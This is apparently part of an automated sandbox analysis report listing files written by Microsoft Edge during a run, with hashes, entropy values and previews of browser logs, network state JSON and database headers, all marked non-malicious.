Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.109516645268712
Encrypted:	false
SSDEEP:	6:HNl+q2PN723oH+Tcwt8NIFUt8YN4Zmw+YNqqVkwON723oH+Tcwt8+eLJ:tl+vVaYebpFUt8u4/+uqqV5OaYebqJ
MD5:	5E95D3403CDCBEA29BEE54D6C67D6321
SHA1:	A591DCFBC46639F4B1613117D9CD071C2D2FE843
SHA-256:	91436A73D32DF1531D7FB9284C12CA84D28134C946F2BF5DA626BA374A7741B5
SHA-512:	1297EF91CD6C13B2591096EF68ED260A82C14361F6DF59BFFC1BDE0E2CDCFFBCEF69C0756272A7AA5993AA87F4E4E6383EB3D95105B73B401BFD720EFD39E694
Malicious:	false
Preview:	2024/11/26-10:31:33.342 f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/26-10:31:33.343 f4c Recovering log #3.2024/11/26-10:31:33.353 f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.109516645268712
Encrypted:	false
SSDEEP:	6:HNl+q2PN723oH+Tcwt8NIFUt8YN4Zmw+YNqqVkwON723oH+Tcwt8+eLJ:tl+vVaYebpFUt8u4/+uqqV5OaYebqJ
MD5:	5E95D3403CDCBEA29BEE54D6C67D6321
SHA1:	A591DCFBC46639F4B1613117D9CD071C2D2FE843
SHA-256:	91436A73D32DF1531D7FB9284C12CA84D28134C946F2BF5DA626BA374A7741B5
SHA-512:	1297EF91CD6C13B2591096EF68ED260A82C14361F6DF59BFFC1BDE0E2CDCFFBCEF69C0756272A7AA5993AA87F4E4E6383EB3D95105B73B401BFD720EFD39E694
Malicious:	false
Preview:	2024/11/26-10:31:33.342 f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/26-10:31:33.343 f4c Recovering log #3.2024/11/26-10:31:33.353 f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:E5RtFlljq7A/mhWJFuQ3yy7IOWUUTudweytllrE9SFcTp4AGbNCV9RUIjl:E5K75fOIud0Xi99pEYn
MD5:	CFEFB5CE7CB212EC51D86F1D47269E2E
SHA1:	ECE70EF53C740D15CC25C3E40B23976795C7D089
SHA-256:	A1EE9C247BB15D10DB02D8B068C0B0FD55CEB88EDB665AEB168C4F39C2B3AC14
SHA-512:	A7EE2F75C571B9A4995C34CD1687BCEAF40D956F559A839818EA53C841CA7C3595ABD321324F0496557A4B31CF8E45D37D975630021BFCFBD8EA690B92296F6D
Malicious:	false
Preview:	.............(.@...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.64814385091353
Encrypted:	false
SSDEEP:	384:aj9P0XjlGQkQerBP/KbtLcg773pL9hCgam6ItRKToaAu:adglGe2BP/Ng7Pv9RKcC
MD5:	F86F3020D2EC206AD5EB9CD363E1AAAC
SHA1:	1681C91B51F7B232ADF0DEF6A7727CF0CFCA4C7C
SHA-256:	D4C3E665A82E34F2F32891A1EFE169D7F3FB6D4F313019889D44F1C364C57A9D
SHA-512:	1E7AE76CA761BB2BC26FE2A804A6AAB7FE7A520601C5C700CB697981A99F5B640B49D582608B4BFB8DA62F77AAA20D27D70C3595ADAFE5482D044F3233162BEF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.284569096339305
Encrypted:	false
SSDEEP:	12:tWXi+vVaYeb8rcHEZrELFUt8uWX/+uW3V5OaYeb8rcHEZrEZSJ:EjVaYeb8nZrExg8d0XOaYeb8nZrEZe
MD5:	225CCA4213A0DE6A28AB0685EB5312A9
SHA1:	EBFFD46A99103454050BC730C57E4FE72DE447B5
SHA-256:	57C93BAD93DFE9E563A9953554B4185751D3F2679D7F11179C6E7CEC01FF2AB3
SHA-512:	A90C0AA8AE43E8C62B30D4E150AA10C5AC0052CFCD3CA947D11C6CBCB0446E56F1DB720EC8AE691A7F879BFDA9E3A3701842F13E0778829E421D124979F70659
Malicious:	false
Preview:	2024/11/26-10:31:37.388 f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/26-10:31:37.389 f4c Recovering log #3.2024/11/26-10:31:37.389 f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.284569096339305
Encrypted:	false
SSDEEP:	12:tWXi+vVaYeb8rcHEZrELFUt8uWX/+uW3V5OaYeb8rcHEZrEZSJ:EjVaYeb8nZrExg8d0XOaYeb8nZrEZe
MD5:	225CCA4213A0DE6A28AB0685EB5312A9
SHA1:	EBFFD46A99103454050BC730C57E4FE72DE447B5
SHA-256:	57C93BAD93DFE9E563A9953554B4185751D3F2679D7F11179C6E7CEC01FF2AB3
SHA-512:	A90C0AA8AE43E8C62B30D4E150AA10C5AC0052CFCD3CA947D11C6CBCB0446E56F1DB720EC8AE691A7F879BFDA9E3A3701842F13E0778829E421D124979F70659
Malicious:	false
Preview:	2024/11/26-10:31:37.388 f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/26-10:31:37.389 f4c Recovering log #3.2024/11/26-10:31:37.389 f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	5.665580243871311
Encrypted:	false
SSDEEP:	24:pZW3UlHNlU/PTBx3gpXZg/W2sFV03y1x4VMyvjW8kTN5zgFHHmi28/V:pZO2U3DwpXZN2iV03Sx4uyru+HH328t
MD5:	595BE2BB1EB1656114D33172D4FE3F77
SHA1:	4C069938A328B0F78A58A2C4E2ACB75CD8407C01
SHA-256:	47C81B3B5BFAA998888DAFBCB7141C51A0B43DD0331EF1E9107EE8BC64EE006C
SHA-512:	7D37637F67A42F5C413C071F57D8E00A41E08D671A03A30038826A9C394126E42A8A79B90618E5CFAB122C76D8E23549D0CEBBE05957D924E458C856B124224C
Malicious:	false
Preview:	\...x................VERSION.1..META:https://ntp.msn.com..............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":823}.!_https://ntp.msn.com..LastKnownPV..1732635114124.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732635115190.._https://ntp.msn.com..MUID!.2FBC76E93A286CF7086363AA3B5A6D16.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732635114206,"schedule":[-1,-1,-1,4,25,9,-1],"scheduleFixed":[-1,-1,-1,4,25,9,-1],"simpleSchedule":[41,52,39,42,24,11,40]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732635114076.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https:/

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.132058219961837
Encrypted:	false
SSDEEP:	6:HNsF4q2PN723oH+Tcwt8a2jMGIFUt8YNsvJZmw+YNsjDkwON723oH+Tcwt8a2jM4:ty4vVaYeb8EFUt8u0J/+uED5OaYeb8bJ
MD5:	0F8218EDF79211DFE142E2AFF2BF5BAF
SHA1:	FF942ECBC3E998BE94D7236BAA9B14869F2B2C09
SHA-256:	D4AE67DE33F40F1CAE7A61B6C25619A43EABF7EE048E955D6309349A44B72B23
SHA-512:	7E8E276DCAAA08CCAFE8A58710B416090FF07720AB4279FD51D89EF888B666BB1F219D77715DCAB219389416BA64963A9DAAB4EF17783F40AF3CA19DC361CBA4
Malicious:	false
Preview:	2024/11/26-10:31:32.881 1f60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/26-10:31:32.883 1f60 Recovering log #3.2024/11/26-10:31:32.890 1f60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.132058219961837
Encrypted:	false
SSDEEP:	6:HNsF4q2PN723oH+Tcwt8a2jMGIFUt8YNsvJZmw+YNsjDkwON723oH+Tcwt8a2jM4:ty4vVaYeb8EFUt8u0J/+uED5OaYeb8bJ
MD5:	0F8218EDF79211DFE142E2AFF2BF5BAF
SHA1:	FF942ECBC3E998BE94D7236BAA9B14869F2B2C09
SHA-256:	D4AE67DE33F40F1CAE7A61B6C25619A43EABF7EE048E955D6309349A44B72B23
SHA-512:	7E8E276DCAAA08CCAFE8A58710B416090FF07720AB4279FD51D89EF888B666BB1F219D77715DCAB219389416BA64963A9DAAB4EF17783F40AF3CA19DC361CBA4
Malicious:	false
Preview:	2024/11/26-10:31:32.881 1f60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/26-10:31:32.883 1f60 Recovering log #3.2024/11/26-10:31:32.890 1f60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\053e92a9-eb83-456a-ba36-55378499de96.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1961
Entropy (8bit):	5.293299199873469
Encrypted:	false
SSDEEP:	48:YcCpfgCzsxVts8ufcKsFSleeIkBRsFXLCIsFR/CgH12HeYhbm:F2fULu6SkeIkB27sR/TOzhK
MD5:	F90C1AE7492A18B94051FA7C4E613790
SHA1:	BE68CD31DC4F26E7888DA32AB73239F3574A9C45
SHA-256:	86F82FA8E024B37C20F53EEC23611D5FA3C2762D3DD73D63E872DD18012DCCAF
SHA-512:	7435E3957B645C2D7BA04CBD95D7BA2DF15FDAB9ADAB4707DA4E9E2EEE89E61B5A6433535AC2F44478A01FDEF8875ABCE0052CFCB1620C665AD7F44C9D3F73A6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379700697457737","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379700702212993","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377202305370304","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0dfa9e96-3e0c-437b-ac68-4f99c3fd0650.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5cf434b3-1392-4cb3-b02f-89393ba75eb3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7659921703182637
Encrypted:	false
SSDEEP:	192:tTc6lZUyqi4Ajl6g4PJFuW191y+eXcf0L/ZJVb:Vc6XqBARR4PX0xXI0LhJVb
MD5:	B03505691371BD400674FEC0445A59ED
SHA1:	A108B428223BEE4C28D83C22BFC8FA243A57924C
SHA-256:	E11B780ABA057B563B061512E14F473593272144DF7F11E1367240AFA7E81778
SHA-512:	7CD15405DFC86A9F8834B2713100C1C39C7661CE57B1CCC2379A5805C66D32B486590CB48E0DA96B0BC4959AB798FE7FE2C21AE29AB86FA9946D2E4F4272B9C5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4cd7e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.537415604605225
Encrypted:	false
SSDEEP:	96:OIEumQv8m1ccnvS639vKRSPIUlLSHb+D1a:OIEumQv8m1ccnvS6BQUw6E
MD5:	AE2C0A9F09B0365002CC21A86861EBDE
SHA1:	B71CCB4D771678E076845323E46EB1AA9B112BD6
SHA-256:	DE6E439C1E6671067859E82331094B9C12BA7720C549AEF3073EE1460C20564E
SHA-512:	05D9FB067EFFBA70BCAAE7612A2111D81650E13FC4A20A2C1C6FB20A64CE79E9B31257563D5AF50E26A73E69506A9F4471C8CD1859C5B017D42A5B5459307792
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ba68.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d7a4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a74d34b4-646c-47e6-a9ca-052fa8183713.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a89d4ac7-7cb3-47c6-a86a-7b91df348d70.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
